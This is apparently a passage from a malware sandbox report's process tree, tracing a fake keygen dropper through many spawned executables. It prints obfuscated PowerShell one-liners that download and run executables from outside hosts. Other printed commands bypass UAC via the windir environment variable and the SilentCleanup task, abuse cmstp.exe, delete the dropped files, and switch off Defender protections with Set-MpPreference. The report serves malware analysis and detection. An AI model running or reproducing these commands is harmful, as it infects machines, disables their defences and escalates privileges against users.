PID:5128

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
10⤵
PID:4696

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\k1o31iq1195.exe"
8⤵
PID:4872

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
9⤵
- Delays execution with timeout.exe
PID:5772

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 3
3⤵
- Delays execution with timeout.exe
PID:3024

C:\Users\Admin\AppData\Local\Temp\7574.tmp\puttty.exe
puttty.exe
3⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1336

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 1532
4⤵
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1548

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 4
3⤵
- Delays execution with timeout.exe
PID:3980

C:\Users\Admin\AppData\Local\Temp\7574.tmp\ereds.exe
ereds.exe
3⤵
- Executes dropped EXE
PID:2684

C:\Users\Admin\AppData\Local\Temp\keygen.exe
"C:\Users\Admin\AppData\Local\Temp\keygen.exe"
4⤵
PID:4244

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BC8F.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\keygen.exe"
5⤵
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies registry class
PID:4288

C:\Users\Admin\AppData\Local\Temp\BC8F.tmp\Keygen.exe
Keygen.exe
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:4340

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BC8F.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
6⤵
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4412

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
7⤵
- Blocklisted process makes network request
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4564

C:\Users\Public\eav.exe
"C:\Users\Public\eav.exe"
8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4356

C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
"C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4644

C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
"C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
10⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4816

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BC8F.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
6⤵
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4440

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
7⤵
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4572

C:\Windows\SysWOW64\timeout.exe
timeout 1
6⤵
- Delays execution with timeout.exe
PID:4464

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BC8F.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
6⤵
PID:4980

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:4128

C:\Users\Public\epu.exe
"C:\Users\Public\epu.exe"
8⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
PID:5108

C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
"C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe"
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5552

C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
"C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe"
10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5536

C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
"{path}"
11⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:3540

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 3540 & erase C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe & RD /S /Q C:\\ProgramData\\155943301911557\\* & exit
12⤵
PID:3984

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 3540
13⤵
- Kills process with taskkill
PID:4848

C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
"{path}"
10⤵
- Executes dropped EXE
PID:4956

C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
"{path}"
10⤵
- Executes dropped EXE
PID:5136

C:\Users\Public\epu.exe
"{path}"
9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
PID:5000

C:\Users\Admin\AppData\Local\Temp\QxPSDVcb8X.exe
"C:\Users\Admin\AppData\Local\Temp\QxPSDVcb8X.exe"
10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4416

C:\Users\Admin\AppData\Local\Temp\QxPSDVcb8X.exe
"C:\Users\Admin\AppData\Local\Temp\QxPSDVcb8X.exe"
11⤵
- Executes dropped EXE
PID:4528

C:\Users\Admin\AppData\Local\Temp\d8FtANW6QA.exe
"C:\Users\Admin\AppData\Local\Temp\d8FtANW6QA.exe"
10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1832

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe"
11⤵
PID:6644

C:\Users\Admin\AppData\Local\Temp\PLSkebaejl.exe
"C:\Users\Admin\AppData\Local\Temp\PLSkebaejl.exe"
10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4484

C:\Users\Admin\AppData\Local\Temp\PLSkebaejl.exe
"C:\Users\Admin\AppData\Local\Temp\PLSkebaejl.exe"
11⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2800

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\4q2v1231.inf
12⤵
PID:5792

C:\Users\Admin\AppData\Local\Temp\O5BG8Rd3za.exe
"C:\Users\Admin\AppData\Local\Temp\O5BG8Rd3za.exe"
10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5456

C:\Users\Admin\AppData\Local\Temp\O5BG8Rd3za.exe
"C:\Users\Admin\AppData\Local\Temp\O5BG8Rd3za.exe"
11⤵
- Executes dropped EXE
PID:4516

C:\Users\Admin\AppData\Local\Temp\O5BG8Rd3za.exe
"C:\Users\Admin\AppData\Local\Temp\O5BG8Rd3za.exe"
11⤵
- Executes dropped EXE
- Windows security modification
PID:5516

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
12⤵
PID:4336

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\epu.exe"
10⤵
PID:5144

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
11⤵
- Delays execution with timeout.exe
PID:5260

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BC8F.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
6⤵
PID:4184

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
7⤵
- Suspicious behavior: EnumeratesProcesses
PID:4640

C:\Windows\SysWOW64\timeout.exe
timeout 2
6⤵
- Delays execution with timeout.exe
PID:2680

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BC8F.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
6⤵
PID:2704

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
7⤵
- Blocklisted process makes network request
PID:4764

C:\Users\Public\riu.exe
"C:\Users\Public\riu.exe"
8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4348

C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
"C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4280

C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
"C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
10⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4276

C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
"C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
9⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4468

C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
"C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
10⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
PID:4492

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4492 & erase C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe & RD /S /Q C:\\ProgramData\\451091511958641\\* & exit
11⤵
PID:3824

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4492
12⤵
- Kills process with taskkill
PID:4964

C:\Users\Public\riu.exe
"C:\Users\Public\riu.exe"
9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1940

C:\Users\Admin\AppData\Local\Temp\hNqShoEbww.exe
"C:\Users\Admin\AppData\Local\Temp\hNqShoEbww.exe"
10⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
PID:4380

C:\Users\Admin\AppData\Local\Temp\hNqShoEbww.exe
"C:\Users\Admin\AppData\Local\Temp\hNqShoEbww.exe"
11⤵
- Executes dropped EXE
PID:4668

C:\Users\Admin\AppData\Local\Temp\ff8snSa94T.exe
"C:\Users\Admin\AppData\Local\Temp\ff8snSa94T.exe"
10⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies system certificate store
PID:4248

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\System32\svchost.exe"
11⤵
PID:4760

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\BceDUtso.bat" "
12⤵
PID:5924

C:\Windows\SysWOW64\reg.exe
reg delete hkcu\Environment /v windir /f
13⤵
- Modifies registry key
PID:3740

C:\Windows\SysWOW64\reg.exe
reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
13⤵
- Modifies registry key
PID:5152

C:\Windows\SysWOW64\schtasks.exe
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
13⤵
PID:5392

C:\Windows\SysWOW64\reg.exe
reg delete hkcu\Environment /v windir /f
13⤵
- Modifies registry key
PID:4888

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\BceDUtso.bat" "
12⤵
PID:5460

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe"
11⤵
PID:5768

C:\Users\Admin\AppData\Local\Temp\tC4JTtEJBE.exe
"C:\Users\Admin\AppData\Local\Temp\tC4JTtEJBE.exe"
10⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
PID:4488

C:\Users\Admin\AppData\Local\Temp\tC4JTtEJBE.exe
"C:\Users\Admin\AppData\Local\Temp\tC4JTtEJBE.exe"
11⤵
- Executes dropped EXE
PID:4060

C:\Users\Admin\AppData\Local\Temp\tC4JTtEJBE.exe
"C:\Users\Admin\AppData\Local\Temp\tC4JTtEJBE.exe"
11⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4700

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\iiikfadx.inf
12⤵
PID:4692

C:\Users\Admin\AppData\Local\Temp\otLMES6PVH.exe
"C:\Users\Admin\AppData\Local\Temp\otLMES6PVH.exe"
10⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
PID:4428

C:\Users\Admin\AppData\Local\Temp\otLMES6PVH.exe
"C:\Users\Admin\AppData\Local\Temp\otLMES6PVH.exe"
11⤵
- Executes dropped EXE
- Windows security modification
PID:4932

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
12⤵
PID:4968

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\riu.exe"
10⤵
PID:4444

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
11⤵
- Delays execution with timeout.exe
PID:5036

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BC8F.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
6⤵
- Checks whether UAC is enabled
PID:3108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
7⤵
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2344

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
PID:4352

C:\Windows\SysWOW64\cmd.exe
cmd /c start C:\Windows\temp\se44uy5j.exe
2⤵
PID:4544

C:\Windows\temp\se44uy5j.exe
C:\Windows\temp\se44uy5j.exe
3⤵
- Executes dropped EXE
PID:4052

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
4⤵
PID:3356

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
4⤵
PID:4316

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
4⤵
PID:4552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
4⤵
PID:4328

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
4⤵
PID:3652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
4⤵
PID:496

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
4⤵
PID:3900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
4⤵
PID:4396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
4⤵
PID:984

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
4⤵
PID:5212

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
4⤵
PID:5332

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
4⤵
PID:5428

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
4⤵
PID:5544

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cmstp.exe /F
2⤵
- Kills process with taskkill
PID:4828

C:\Windows\SysWOW64\cmd.exe
cmd /c start C:\Windows\temp\oias5uwc.exe
2⤵
PID:5864

C:\Windows\temp\oias5uwc.exe
C:\Windows\temp\oias5uwc.exe
3⤵
- Executes dropped EXE
PID:4896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
4⤵
PID:5480

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
4⤵
PID:5868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
